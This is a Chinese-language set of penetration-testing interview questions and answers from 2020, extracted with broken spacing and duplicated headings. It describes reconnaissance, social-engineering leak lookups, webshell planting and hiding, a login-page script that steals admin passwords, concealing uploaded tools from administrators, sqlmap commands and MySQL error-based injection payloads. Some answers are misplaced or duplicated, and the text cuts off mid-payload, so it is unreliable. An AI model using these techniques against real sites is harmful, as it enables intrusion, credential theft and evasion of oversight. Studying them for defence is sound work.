搜索

[21043] 2020-05-25_2020版渗透测试面试问题，内含大量渗透技巧建议收藏

文档创建者：s7ckTeam
浏览次数：57
最后更新：2025-01-18
2020-05-25_2020版渗透测试面试问题，内含大量渗透技巧建议收藏 2 0 2 0 版   |   渗 透 测 试 面 试 问 题 ， 内 含 大 量 渗 透 技 巧   建 议 收 藏 L e m o n S e c   2 0 2 0 - 0 5 - 2 5 |   本 次 分 享 文 章 全 文 约 1 4 3 0 0 字 ， 阅 读 可 会 花 大 量 时 间 ， 建 议 先 保 存 ， 如 果 对 你 学 习 有 用 记 得 分 享 ， 点 个 在 看 哦 。 一 、 思 路 流 程 一 、 思 路 流 程 1 、 信 息 收 集 、 信 息 收 集 a 、 服 务 器 的 相 关 信 息 （ 真 实 i p ， 系 统 类 型 ， 版 本 ， 开 放 端 口 ， W A F 等 ） b 、 网 站 指 纹 识 别 （ 包 括 ， c m s ， c d n ， 证 书 等 ） ， d n s 记 录 c 、 w h o i s 信 息 ， 姓 名 ， 备 案 ， 邮 箱 ， 电 话 反 查 （ 邮 箱 丢 社 工 库 ， 社 工 准 备 等 ） e 、 子 域 名 收 集 ， 旁 站 ， C 段 等 f 、 g o o g l e   h a c k i n g 针 对 化 搜 索 ， p d f 文 件 ， 中 间 件 版 本 ， 弱 口 令 扫 描 等 g 、 扫 描 网 站 目 录 结 构 ， 爆 后 台 ， 网 站 b a n n e r ， 测 试 文 件 ， 备 份 等 敏 感 文 件 泄 漏 等 h 、 传 输 协 议 ， 通 用 漏 洞 ， e x p ， g i t h u b 源 码 等 2 、 漏 洞 挖 掘 、 漏 洞 挖 掘 a 、 浏 览 网 站 ， 看 看 网 站 规 模 ， 功 能 ， 特 点 等 b 、 端 口 ， 弱 口 令 ， 目 录 等 扫 描 , 对 响 应 的 端 口 进 行 漏 洞 探 测 ， 比 如   r s y n c , 心 脏 出 血 ， m y s q l , f t p , s s h 弱 口 令 等 。 c 、 X S S ， S Q L 注 入 ， 上 传 ， 命 令 注 入 ， C S R F ， c o o k i e 安 全 检 测 ， 敏 感 信 息 ， 通 信 数 据 传 输 ， 暴 力 破 解 ， 任 意 文 件 上 传 ， 越 权 访 问 ， 未 授 权 访 问 ， 目 录 遍 历 ， 文 件   包 含 ， 重 放 攻 击 （ 短 信 轰 炸 ） ， 服 务 器 漏 洞 检 测 ， 最 后 使 用 漏 扫 工 具 等 3 、 漏 洞 利 用 、 漏 洞 利 用 & 权 限 提 升 权 限 提 升 a 、 m y s q l 提 权 ， s e r v - u 提 权 ， o r a c l e 提 权 b 、 w i n d o w s   溢 出 提 权 c 、 l i n u x 脏 牛 , 内 核 漏 洞 提 权 e 4 、 清 除 测 试 数 据 、 清 除 测 试 数 据 & 输 出 报 告 输 出 报 告 日 志 、 测 试 数 据 的 清 理 总 结 ， 输 出 渗 透 测 试 报 告 ， 附 修 复 方 案 5 、 复 测 、 复 测 验 证 并 发 现 是 否 有 新 漏 洞 ， 输 出 报 告 ， 归 档 二 、 问 题 二 、 问 题 1 、 拿 到 一 个 待 检 测 的 站 ， 你 觉 得 应 该 先 做 什 么 ？ 、 拿 到 一 个 待 检 测 的 站 ， 你 觉 得 应 该 先 做 什 么 ？ 信 息 收 集 信 息 收 集 a 、 获 取 域 名 的 w h o i s 信 息 , 获 取 注 册 者 邮 箱 姓 名 电 话 等 ， 丢 社 工 库 里 看 看 有 没 有 泄 露 密 码 ， 然 后 尝 试 用 泄 露 的 密 码 进 行 登 录 后 台 。 用 邮 箱 做 关 键 词 进 行 丢 进 搜 索 引 擎 。 利 用 搜 索 到 的 关 联 信 息 找 出 其 他 邮 箱 进 而 得 到 常 用 社 交 账 号 。 社 工 找 出 社 交 账 号 ， 里 面 或 许 会 找 出 管 理 员 设 置 密 码 的 习 惯   。 利 用 已 有 信 息 生 成 专 用 字 典 。 b 、 查 询 服 务 器 旁 站 以 及 子 域 名 站 点 ， 因 为 主 站 一 般 比 较 难 ， 所 以 先 看 看 旁 站 有 没 有 通 用 性 的 c m s 或 者 其 他 漏 洞 。 c 、 查 看 服 务 器 操 作 系 统 版 本 ， w e b 中 间 件 ， 看 看 是 否 存 在 已 知 的 漏 洞 ， 比 如 I I S ， A P A C H E , N G I N X 的 解 析 漏 洞 d 、 查 看 I P ， 进 行 I P 地 址 端 口 扫 描 ， 对 响 应 的 端 口 进 行 漏 洞 探 测 ， 比 如   r s y n c , 心 脏 出 血 ， m y s q l , f t p , s s h 弱 口 令 等 。 e 、 扫 描 网 站 目 录 结 构 ， 看 看 是 否 可 以 遍 历 目 录 ， 或 者 敏 感 文 件 泄 漏 ， 比 如 p h p 探 针 f 、 g o o g l e   h a c k   进 一 步 探 测 网 站 的 信 息 ， 后 台 ， 敏 感 文 件 漏 洞 扫 描 漏 洞 扫 描 开 始 检 测 漏 洞 ， 如 X S S , X S R F , s q l 注 入 ， 代 码 执 行 ， 命 令 执 行 ， 越 权 访 问 ， 目 录 读 取 ， 任 意 文 件 读 取 ， 下 载 ， 文 件 包 含 ， 远 程 命 令 执 行 ， 弱 口 令 ， 上 传 ， 编 辑 器 漏 洞 ， 暴 力 破 解 等 漏 洞 利 用 漏 洞 利 用 利 用 以 上 的 方 式 拿 到 w e b s h e l l ， 或 者 其 他 权 限 权 限 提 升 权 限 提 升 提 权 服 务 器 ， 比 如 w i n d o w s 下 m y s q l 的 u d f 提 权 ， s e r v - u 提 权 ， w i n d o w s 低 版 本 的 漏 洞 ， 如 i i s 6 , p r , 巴 西 烤 肉 ， l i n u x 脏 牛 漏 洞 ， l i n u x 内 核 版 本 漏 洞 提 权 ， l i n u x 下 的 m y s q l   s y s t e m 提 权 以 及 o r a c l e 低 权 限 提 权 日 志 清 理 日 志 清 理 总 结 报 告 及 修 复 方 案 总 结 报 告 及 修 复 方 案 2 、 判 断 出 网 站 的 、 判 断 出 网 站 的 C M S 对 渗 透 有 什 么 意 义 ？ 对 渗 透 有 什 么 意 义 ？
查 找 网 上 已 曝 光 的 程 序 漏 洞 。 如 果 开 源 ， 还 能 下 载 相 对 应 的 源 码 进 行 代 码 审 计 。 3 . 一 个 成 熟 并 且 相 对 安 全 的 一 个 成 熟 并 且 相 对 安 全 的 C M S ， 渗 透 时 扫 目 录 的 意 义 ？ ， 渗 透 时 扫 目 录 的 意 义 ？ 敏 感 文 件 、 二 级 目 录 扫 描 站 长 的 误 操 作 比 如 ： 网 站 备 份 的 压 缩 文 件 、 说 明 . t x t 、 二 级 目 录 可 能 存 放 着 其 他 站 点 4 . 常 见 的 网 站 服 务 器 容 器 。 常 见 的 网 站 服 务 器 容 器 。 I I S 、 A p a c h e 、 n g i n x 、 L i g h t t p d 、 T o m c a t 5 . m y s q l 注 入 点 ， 用 工 具 对 目 标 站 直 接 写 入 一 句 话 ， 需 要 哪 些 条 件 ？ 注 入 点 ， 用 工 具 对 目 标 站 直 接 写 入 一 句 话 ， 需 要 哪 些 条 件 ？ r o o t 权 限 以 及 网 站 的 绝 对 路 径 。 6 . 目 前 已 知 哪 些 版 本 的 容 器 有 解 析 漏 洞 ， 具 体 举 例 。 目 前 已 知 哪 些 版 本 的 容 器 有 解 析 漏 洞 ， 具 体 举 例 。 a 、 I I S   6 . 0 / x x . a s p / x x . j p g   " x x . a s p " 是 文 件 夹 名 b 、 I I S   7 . 0 / 7 . 5 默 认 F a s t - C G I 开 启 ， 直 接 在 u r l 中 图 片 地 址 后 面 输 入 / 1 . p h p ， 会 把 正 常 图 片 当 成 p h p 解 析 c 、 N g i n x 版 本 小 于 等 于 0 . 8 . 3 7 ， 利 用 方 法 和 I I S   7 . 0 / 7 . 5 一 样 ， F a s t - C G I 关 闭 情 况 下 也 可 利 用 。 空 字 节 代 码   x x x . j p g . p h p d 、 A p a c h e   上 传 的 文 件 命 名 为 ： t e s t . p h p . x 1 . x 2 . x 3 ， A p a c h e 是 从 右 往 左 判 断 后 缀 e 、 l i g h t t p d   x x . j p g / x x . p h p ， 不 全 不 全 , 请 小 伙 伴 们 在 评 论 处 不 吝 补 充 ， 谢 谢 ！ 请 小 伙 伴 们 在 评 论 处 不 吝 补 充 ， 谢 谢 ！ 7 . 如 何 手 工 快 速 判 断 目 标 站 是 如 何 手 工 快 速 判 断 目 标 站 是 w i n d o w s 还 是 还 是 l i n u x 服 务 器 ？ 服 务 器 ？ l i n u x 大 小 写 敏 感 , w i n d o w s 大 小 写 不 敏 感 。 8 . 为 何 一 个 为 何 一 个 m y s q l 数 据 库 的 站 ， 只 有 一 个 数 据 库 的 站 ， 只 有 一 个 8 0 端 口 开 放 ？ 端 口 开 放 ？ 更 改 了 端 口 ， 没 有 扫 描 出 来 。 站 库 分 离 。 3 3 0 6 端 口 不 对 外 开 放 9 、 、 3 3 8 9 无 法 连 接 的 几 种 情 况 无 法 连 接 的 几 种 情 况 没 开 放 3 3 8 9   端 口 端 口 被 修 改 防 护 拦 截 处 于 内 网 ( 需 进 行 端 口 转 发 ) 1 0 . 如 何 突 破 注 入 时 字 符 被 转 义 ？ 如 何 突 破 注 入 时 字 符 被 转 义 ？ 宽 字 符 注 入 h e x 编 码 绕 过 1 1 . 在 某 后 台 新 闻 编 辑 界 面 看 到 编 辑 器 ， 应 该 先 做 什 么 ？ 在 某 后 台 新 闻 编 辑 界 面 看 到 编 辑 器 ， 应 该 先 做 什 么 ？ 查 看 编 辑 器 的 名 称 版 本 , 然 后 搜 索 公 开 的 漏 洞 。 1 2 . 拿 到 一 个 拿 到 一 个 w e b s h e l l 发 现 网 站 根 目 录 下 有 发 现 网 站 根 目 录 下 有 . h t a c c e s s 文 件 ， 我 们 能 做 什 么 ？ 文 件 ， 我 们 能 做 什 么 ？ 能 做 的 事 情 很 多 ， 用 隐 藏 网 马 来 举 例 子 ： 插 入 < F i l e s M a t c h   " x x x . j p g " >   S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p . j p g 文 件 会 被 解 析 成 . p h p 文 件 。 具 体 其 他 的 事 情 ， 不 好 详 说 ， 建 议 大 家 自 己 去 搜 索 语 句 来 玩 玩 。 1 3 . 注 入 漏 洞 只 能 查 账 号 密 码 ？ 注 入 漏 洞 只 能 查 账 号 密 码 ？ 只 要 权 限 广 ， 拖 库 脱 到 老 。 1 4 . 安 全 狗 会 追 踪 变 量 ， 从 而 发 现 出 是 一 句 话 木 马 吗 ？ 安 全 狗 会 追 踪 变 量 ， 从 而 发 现 出 是 一 句 话 木 马 吗 ？ 是 根 据 特 征 码 ， 所 以 很 好 绕 过 了 ， 只 要 思 路 宽 ， 绕 狗 绕 到 欢 ， 但 这 应 该 不 会 是 一 成 不 变 的 。 * * 1 5 . a c c e s s   扫 出 后 缀 为 扫 出 后 缀 为 a s p 的 数 据 库 文 件 ， 访 问 乱 码 ， 的 数 据 库 文 件 ， 访 问 乱 码 ， * * 如 何 实 现 到 本 地 利 用 ？ 如 何 实 现 到 本 地 利 用 ？
迅 雷 下 载 ， 直 接 改 后 缀 为 . m d b 。 1 6 . 提 权 时 选 择 可 读 写 目 录 ， 为 何 尽 量 不 用 带 空 格 的 目 录 ？ 提 权 时 选 择 可 读 写 目 录 ， 为 何 尽 量 不 用 带 空 格 的 目 录 ？ 因 为 e x p 执 行 多 半 需 要 空 格 界 定 参 数 1 7 . 某 服 务 器 有 站 点 某 服 务 器 有 站 点 A , B   为 何 在 为 何 在 A 的 后 台 添 加 的 后 台 添 加 t e s t 用 户 ， 访 问 用 户 ， 访 问 B 的 后 台 。 的 后 台 。 发 现 也 添 加 上 了 发 现 也 添 加 上 了 t e s t 用 户 ？ 用 户 ？ 同 数 据 库 。 1 8 . 注 入 时 可 以 不 使 用 注 入 时 可 以 不 使 用 a n d   或 或 o r   或 或 x o r ， 直 接 ， 直 接 o r d e r   b y   开 始 注 入 吗 ？ 开 始 注 入 吗 ？ a n d / o r / x o r ， 前 面 的 1 = 1 、 1 = 2 步 骤 只 是 为 了 判 断 是 否 为 注 入 点 ， 如 果 已 经 确 定 是 注 入 点 那 就 可 以 省 那 步 骤 去 。 1 9 : 某 个 防 注 入 系 统 ， 在 注 入 时 会 提 示 ： 某 个 防 注 入 系 统 ， 在 注 入 时 会 提 示 ： 系 统 检 测 到 你 有 非 法 注 入 的 行 为 。 已 记 录 您 的 i p   x x . x x . x x . x x 时 间 : 2 0 1 6 : 0 1 - 2 3 提 交 页 面 : t e s t . a s p ? i d = 1 5 提 交 内 容 : a n d   1 = 1 2 0 、 如 何 利 用 这 个 防 注 入 系 统 拿 、 如 何 利 用 这 个 防 注 入 系 统 拿 s h e l l ？ ？ 在 U R L 里 面 直 接 提 交 一 句 话 ， 这 样 网 站 就 把 你 的 一 句 话 也 记 录 进 数 据 库 文 件 了   这 个 时 候 可 以 尝 试 寻 找 网 站 的 配 置 文 件   直 接 上 菜 刀 链 接 。 2 1 . 上 传 大 马 后 访 问 乱 码 时 ， 有 哪 些 解 决 办 法 ？ 上 传 大 马 后 访 问 乱 码 时 ， 有 哪 些 解 决 办 法 ？ 浏 览 器 中 改 编 码 。 2 2 . 审 查 上 传 点 的 元 素 有 什 么 意 义 ？ 审 查 上 传 点 的 元 素 有 什 么 意 义 ？ 有 些 站 点 的 上 传 文 件 类 型 的 限 制 是 在 前 端 实 现 的 ， 这 时 只 要 增 加 上 传 类 型 就 能 突 破 限 制 了 。 2 3 . 目 标 站 禁 止 注 册 用 户 ， 找 回 密 码 处 随 便 输 入 用 户 名 提 示 ： 目 标 站 禁 止 注 册 用 户 ， 找 回 密 码 处 随 便 输 入 用 户 名 提 示 ： “ 此 用 户 不 存 在 此 用 户 不 存 在 ” ， 你 觉 得 这 里 怎 样 利 用 ？ ， 你 觉 得 这 里 怎 样 利 用 ？ 先 爆 破 用 户 名 ， 再 利 用 被 爆 破 出 来 的 用 户 名 爆 破 密 码 。 其 实 有 些 站 点 ， 在 登 陆 处 也 会 这 样 提 示 所 有 和 数 据 库 有 交 互 的 地 方 都 有 可 能 有 注 入 。 2 4 . 目 标 站 发 现 某 目 标 站 发 现 某 t x t 的 下 载 地 址 为 的 下 载 地 址 为 h t t p : / / w w w . t e s t . c o m / d o w n / d o w n . p h p ? f i l e = / u p w d o w n / 1 . t x t ， 你 有 什 么 思 路 ？ 这 就 是 传 说 中 的 下 载 漏 洞 ！ 在 f i l e = 后 面 尝 试 输 入 i n d e x . p h p 下 载 他 的 首 页 文 件 ， 然 后 在 首 页 文 件 里 继 续 查 找 其 他 网 站 的 配 置 文 件 ， 可 以 找 出 网 站 的 数 据 库 密 码 和 数 据 库 的 地 址 。 2 5 . 甲 给 你 一 个 目 标 站 ， 并 且 告 诉 你 根 目 录 下 存 在 甲 给 你 一 个 目 标 站 ， 并 且 告 诉 你 根 目 录 下 存 在 / a b c / 目 录 ， 并 且 此 目 录 下 存 在 编 辑 器 和 目 录 ， 并 且 此 目 录 下 存 在 编 辑 器 和 a d m i n 目 录 。 目 录 。 请 问 你 的 想 法 是 ？ 请 问 你 的 想 法 是 ？ 直 接 在 网 站 二 级 目 录 / a b c / 下 扫 描 敏 感 文 件 及 目 录 。 2 6 . 在 有 在 有 s h e l l 的 情 况 下 ， 如 何 使 用 的 情 况 下 ， 如 何 使 用 x s s 实 现 对 目 标 站 的 长 久 控 制 ？ 实 现 对 目 标 站 的 长 久 控 制 ？ 后 台 登 录 处 加 一 段 记 录 登 录 账 号 密 码 的 j s ， 并 且 判 断 是 否 登 录 成 功 ， 如 果 登 录 成 功 ， 就 把 账 号 密 码 记 录 到 一 个 生 僻 的 路 径 的 文 件 中 或 者 直 接 发 到 自 己 的 网 站 文 件 中 。 ( 此 方 法 适 合 有 价 值 并 且 需 要 深 入 控 制 权 限 的 网 络 ) 。 在 登 录 后 才 可 以 访 问 的 文 件 中 插 入 X S S 脚 本 。 2 7 . 后 台 修 改 管 理 员 密 码 处 ， 原 密 码 显 示 为 后 台 修 改 管 理 员 密 码 处 ， 原 密 码 显 示 为 * 。 。 你 觉 得 该 怎 样 实 现 读 出 这 个 用 户 的 密 码 ？ 你 觉 得 该 怎 样 实 现 读 出 这 个 用 户 的 密 码 ？ 审 查 元 素   把 密 码 处 的 p a s s w o r d 属 性 改 成 t e x t 就 明 文 显 示 了 2 8 . 目 标 站 无 防 护 ， 上 传 图 片 可 以 正 常 访 问 ， 上 传 脚 本 格 式 访 问 则 目 标 站 无 防 护 ， 上 传 图 片 可 以 正 常 访 问 ， 上 传 脚 本 格 式 访 问 则 4 0 3 . 什 么 原 因 ？ 什 么 原 因 ？ 原 因 很 多 ， 有 可 能 w e b 服 务 器 配 置 把 上 传 目 录 写 死 了 不 执 行 相 应 脚 本 ， 尝 试 改 后 缀 名 绕 过 2 9 . 审 查 元 素 得 知 网 站 所 使 用 的 防 护 软 件 ， 你 觉 得 怎 样 做 到 的 ？ 审 查 元 素 得 知 网 站 所 使 用 的 防 护 软 件 ， 你 觉 得 怎 样 做 到 的 ？ 在 敏 感 操 作 被 拦 截 ， 通 过 界 面 信 息 无 法 具 体 判 断 是 什 么 防 护 的 时 候 ， F 1 2 看 H T M L 体 部   比 如 护 卫 神 就 可 以 在 名 称 那 看 到 内 容 。 3 0 . 在 在 w i n 2 0 0 3 服 务 器 中 建 立 一 个 服 务 器 中 建 立 一 个   . z h o n g z i 文 件 夹 用 意 何 为 ？ 文 件 夹 用 意 何 为 ？ 隐 藏 文 件 夹 ， 为 了 不 让 管 理 员 发 现 你 传 上 去 的 工 具 。 3 1 、 、 s q l 注 入 有 以 下 两 个 测 试 选 项 ， 选 一 个 并 且 阐 述 不 选 另 一 个 的 理 由 ： 注 入 有 以 下 两 个 测 试 选 项 ， 选 一 个 并 且 阐 述 不 选 另 一 个 的 理 由 ： A .   d e m o . j s p ? i d = 2 + 1 B .   d e m o . j s p ? i d = 2 - 1 选 B ， 在   U R L   编 码 中   +   代 表 空 格 ， 可 能 会 造 成 混 淆 3 2 、 以 下 链 接 存 在 、 以 下 链 接 存 在   s q l   注 入 漏 洞 ， 对 于 这 个 变 形 注 入 ， 你 有 什 么 思 路 ？ 注 入 漏 洞 ， 对 于 这 个 变 形 注 入 ， 你 有 什 么 思 路 ？
d e m o . d o ? D A T A = A j A x N g = = D A T A 有 可 能 经 过 了   b a s e 6 4   编 码 再 传 入 服 务 器 ， 所 以 我 们 也 要 对 参 数 进 行   b a s e 6 4   编 码 才 能 正 确 完 成 测 试 3 3 、 发 现 、 发 现   d e m o . j s p ? u i d = 1 1 0   注 入 点 ， 你 有 哪 几 种 思 路 获 取 注 入 点 ， 你 有 哪 几 种 思 路 获 取   w e b s h e l l ， 哪 种 是 优 选 ？ ， 哪 种 是 优 选 ？ 有 写 入 权 限 的 ， 构 造 联 合 查 询 语 句 使 用 u s i n g   I N T O   O U T F I L E ， 可 以 将 查 询 的 输 出 重 定 向 到 系 统 的 文 件 中 ， 这 样 去 写 入   W e b S h e l l   使 用   s q l m a p   – o s - s h e l l   原 理 和 上 面 一 种 相 同 ， 来 直 接 获 得 一 个 S h e l l ， 这 样 效 率 更 高   通 过 构 造 联 合 查 询 语 句 得 到 网 站 管 理 员 的 账 户 和 密 码 ， 然 后 扫 后 台 登 录 后 台 ， 再 在 后 台 通 过 改 包 上 传 等 方 法 上 传   S h e l l 3 4 、 、 C S R F   和 和   X S S   和 和   X X E   有 什 么 区 别 ， 以 及 修 复 方 式 ？ 有 什 么 区 别 ， 以 及 修 复 方 式 ？ X S S 是 跨 站 脚 本 攻 击 是 跨 站 脚 本 攻 击 ， 用 户 提 交 的 数 据 中 可 以 构 造 代 码 来 执 行 ， 从 而 实 现 窃 取 用 户 信 息 等 攻 击 。 修 复 方 式 ： 对 字 符 实 体 进 行 转 义 、 使 用 H T T P   O n l y 来 禁 止 J a v a S c r i p t 读 取 C o o k i e 值 、 输 入 时 校 验 、 浏 览 器 与 W e b 应 用 端 采 用 相 同 的 字 符 编 码 。 C S R F 是 跨 站 请 求 伪 造 攻 击 是 跨 站 请 求 伪 造 攻 击 ， X S S 是 实 现 C S R F 的 诸 多 手 段 中 的 一 种 ， 是 由 于 没 有 在 关 键 操 作 执 行 时 进 行 是 否 由 用 户 自 愿 发 起 的 确 认 。 修 复 方 式 ： 筛 选 出 需 要 防 范 C S R F 的 页 面 然 后 嵌 入 T o k e n 、 再 次 输 入 密 码 、 检 验 R e f e r e r   X X E 是 X M L 外 部 实 体 注 入 攻 击 ， X M L 中 可 以 通 过 调 用 实 体 来 请 求 本 地 或 者 远 程 内 容 ， 和 远 程 文 件 保 护 类 似 ， 会 引 发 相 关 安 全 问 题 ， 例 如 敏 感 文 件 读 取 。 修 复 方 式 ： X M L 解 析 库 在 调 用 时 严 格 禁 止 对 外 部 实 体 的 解 析 。 3 5 、 、 C S R F 、 、 S S R F 和 重 放 攻 击 有 什 么 区 别 ？ 和 重 放 攻 击 有 什 么 区 别 ？ C S R F 是 跨 站 请 求 伪 造 攻 击 ， 由 客 户 端 发 起   S S R F 是 服 务 器 端 请 求 伪 造 ， 由 服 务 器 发 起   重 放 攻 击 是 将 截 获 的 数 据 包 进 行 重 放 ， 达 到 身 份 认 证 等 目 的 3 6 、 说 出 至 少 三 种 业 务 逻 辑 漏 洞 ， 以 及 修 复 方 式 ？ 、 说 出 至 少 三 种 业 务 逻 辑 漏 洞 ， 以 及 修 复 方 式 ？ 密 码 找 回 漏 洞 密 码 找 回 漏 洞 中 存 在 1 ） 密 码 允 许 暴 力 破 解 、 2 ） 存 在 通 用 型 找 回 凭 证 、 3 ） 可 以 跳 过 验 证 步 骤 、 4 ） 找 回 凭 证 可 以 拦 包 获 取 等 方 式 来 通 过 厂 商 提 供 的 密 码 找 回 功 能 来 得 到 密 码 。 身 份 认 证 漏 洞 身 份 认 证 漏 洞 中 最 常 见 的 是 1 ） 会 话 固 定 攻 击 2 ）   C o o k i e   仿 冒 只 要 得 到   S e s s i o n   或   C o o k i e   即 可 伪 造 用 户 身 份 。 验 证 码 漏 洞 验 证 码 漏 洞 中 存 在 1 ） 验 证 码 允 许 暴 力 破 解 2 ） 验 证 码 可 以 通 过   J a v a s c r i p t   或 者 改 包 的 方 法 来 进 行 绕 过 3 7 、 圈 出 下 面 会 话 中 可 能 存 在 问 题 的 项 ， 并 标 注 可 能 会 存 在 的 问 题 ？ 、 圈 出 下 面 会 话 中 可 能 存 在 问 题 的 项 ， 并 标 注 可 能 会 存 在 的 问 题 ？ 有 写 入 权 限 的 ， 构 造 联 合 查 询 语 句 使 用 u s i n g   I N T O   O U T F I L E ， 可 以 将 查 询 的 输 出 重 定 向 到 系 统 的 文 件 中 ， 这 样 去 写 入   W e b S h e l l   使 用   s q l m a p   – o s - s h e l l   原 理 和 上 面 一 种 相 同 ， 来 直 接 获 得 一 个 S h e l l ， 这 样 效 率 更 高   通 过 构 造 联 合 查 询 语 句 得 到 网 站 管 理 员 的 账 户 和 密 码 ， 然 后 扫 后 台 登 录 后 台 ， 再 在 后 台 通 过 改 包 上 传 等 方 法 上 传   S h e l l 3 8 、 给 你 一 个 网 站 你 是 如 何 来 渗 透 测 试 的 、 给 你 一 个 网 站 你 是 如 何 来 渗 透 测 试 的 ? 在 获 取 书 面 授 权 的 前 提 下 。 3 9 、 、 s q l m a p ， 怎 么 对 一 个 注 入 点 注 入 ？ ， 怎 么 对 一 个 注 入 点 注 入 ？ 1 ） 如 果 是 g e t 型 号 ， 直 接 ， s q l m a p   - u   " 诸 如 点 网 址 " . 2 )   如 果 是 p o s t 型 诸 如 点 ， 可 以 s q l m a p   - u   " 注 入 点 网 址 ”   - - d a t a = " p o s t 的 参 数 " 3 ） 如 果 是 c o o k i e ， X - F o r w a r d e d - F o r 等 ， 可 以 访 问 的 时 候 ， 用 b u r p s u i t e 抓 包 ， 注 入 处 用 号 替 换 ， 放 到 文 件 里 ， 然 后 s q l m a p   - r   " 文 件 地 址 " 4 0 、 、 n m a p ， 扫 描 的 几 种 方 式 ， 扫 描 的 几 种 方 式 4 1 、 、 s q l 注 入 的 几 种 类 型 ？ 注 入 的 几 种 类 型 ？ g e t   / e c s k i n s / d e m o . j s p ? u i d = 2 0 1 6 0 3 1 9 0 0 & k e y w o r d = ” h e l l o   w o r l d ” H T T P / 1 . 1 H o s t : * * * . c o m : 8 2 U s e r - A g e n t : M o z i l l a / 5 . 0   F i r e f o x / 4 0 A c c e p t : t e x t / c s s , / ; q = 0 . 1 A c c e p t - L a n g u a g e : z h - C N ; z h ; q = 0 . 8 ; e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 R e f e r e r : h t t p : / / * * * * * * * . c o m / e c i o p / o r d e r F o r C C / c g t L i s t F o r C C . h t m ? z o n e = 1 1 3 7 0 6 0 1 & v = 1 4 5 9 0 2 C o o k i e : m y g u i d 1 2 3 4 5 6 7 8 9 0 = 1 3 4 9 d b 5 f e 5 0 c 3 7 2 c 3 d 9 9 5 7 0 9 f 5 4 c 2 7 3 d ; u n i q u e s e r i d = s e s s i o n _ O G R M I F I Y J H A H 5 _ H Z R Q O Z A M H J ; s t _ u i d = N 9 0 P L Y H L Z G J X I - N X 0 1 V P U F 4 6 W ; s t a t u s = T r u e C o n n e c t i o n : k e e p - a l i v e
1 ） 报 错 注 入 2 ） b o o l 型 注 入 3 ） 延 时 注 入 4 ） 宽 字 节 注 入 4 2 、 报 错 注 入 的 函 数 有 哪 些 ？ 、 报 错 注 入 的 函 数 有 哪 些 ？ 1 0 个 个 4 3 、 延 时 注 入 如 何 来 判 断 ？ 、 延 时 注 入 如 何 来 判 断 ？ 4 4 、 盲 注 和 延 时 注 入 的 共 同 点 ？ 、 盲 注 和 延 时 注 入 的 共 同 点 ？ 都 是 一 个 字 符 一 个 字 符 的 判 断 4 5 、 如 何 拿 一 个 网 站 的 、 如 何 拿 一 个 网 站 的 w e b s h e l l ？ ？ 上 传 ， 后 台 编 辑 模 板 ， s q l 注 入 写 文 件 ， 命 令 执 行 ， 代 码 执 行 ，   一 些 已 经 爆 出 的 c m s 漏 洞 ， 比 如 d e d e c m s 后 台 可 以 直 接 建 立 脚 本 文 件 ， w o r d p r e s s 上 传 插 件 包 含 脚 本 文 件 z i p 压 缩 包 等 4 6 、 、 s q l 注 入 写 文 件 都 有 哪 些 函 数 ？ 注 入 写 文 件 都 有 哪 些 函 数 ？ 4 7 、 如 何 防 止 、 如 何 防 止 C S R F ? 1 ） 验 证 r e f e r e r 2 ） 验 证 t o k e n 详 细 ： h t t p : / / c n o d e j s . o r g / t o p i c / 5 5 3 3 d d 6 e 9 1 3 8 f 0 9 b 6 2 9 6 7 4 f d 4 8 、 、 o w a s p   漏 洞 都 有 哪 些 ？ 漏 洞 都 有 哪 些 ？ 1 ） S Q L 注 入 防 护 方 法 ： 2 ） 失 效 的 身 份 认 证 和 会 话 管 理 3 ） 跨 站 脚 本 攻 击 X S S 4 ） 直 接 引 用 不 安 全 的 对 象 5 ） 安 全 配 置 错 误 6 ） 敏 感 信 息 泄 露 7 ） 缺 少 功 能 级 的 访 问 控 制 8 ） 跨 站 请 求 伪 造 C S R F 9 ） 使 用 含 有 已 知 漏 洞 的 组 件 1 0 ） 未 验 证 的 重 定 向 和 转 发 4 9 、 、 S Q L 注 入 防 护 方 法 ？ 注 入 防 护 方 法 ？ 1 ） 使 用 安 全 的 A P I 2 ） 对 输 入 的 特 殊 字 符 进 行 E s c a p e 转 义 处 理 3 ） 使 用 白 名 单 来 规 范 化 输 入 验 证 方 法 4 ） 对 客 户 端 输 入 进 行 控 制 ， 不 允 许 输 入 S Q L 注 入 相 关 的 特 殊 字 符 5 ） 服 务 器 端 在 提 交 数 据 库 进 行 S Q L 查 询 之 前 ， 对 特 殊 字 符 进 行 过 滤 、 转 义 、 替 换 、 删 除 。 5 0 、 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ 、 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ 1 ） a n d   e x t r a c t v a l u e ( 1 ,   c o n c a t ( 0 x 7 e , ( s e l e c t   @ @ v e r s i o n ) , 0 x 7 e ) ) 】 】 】 2 ） 通 过 f l o o r 报 错   向 下 取 整 3 ） + a n d   u p d a t e x m l ( 1 ,   c o n c a t ( 0 x 7 e , ( s e c e c t   @ @ v e r s i o n ) , 0 x 7 e ) , 1 ) 4 ） . g e o m e t r y c o l l e c t i o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   g e o m e t r y c o l l e c t i o n ( ( s e l e c t   f r o m ( s e l e c t f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 5 ） . m u l t i p o i n t ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o i n t ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 6 ） . p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 7 ） . m u l t i p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 8 ） . l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 9 ） . m u l t i l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 1 0 ） . e x p ( ) s e 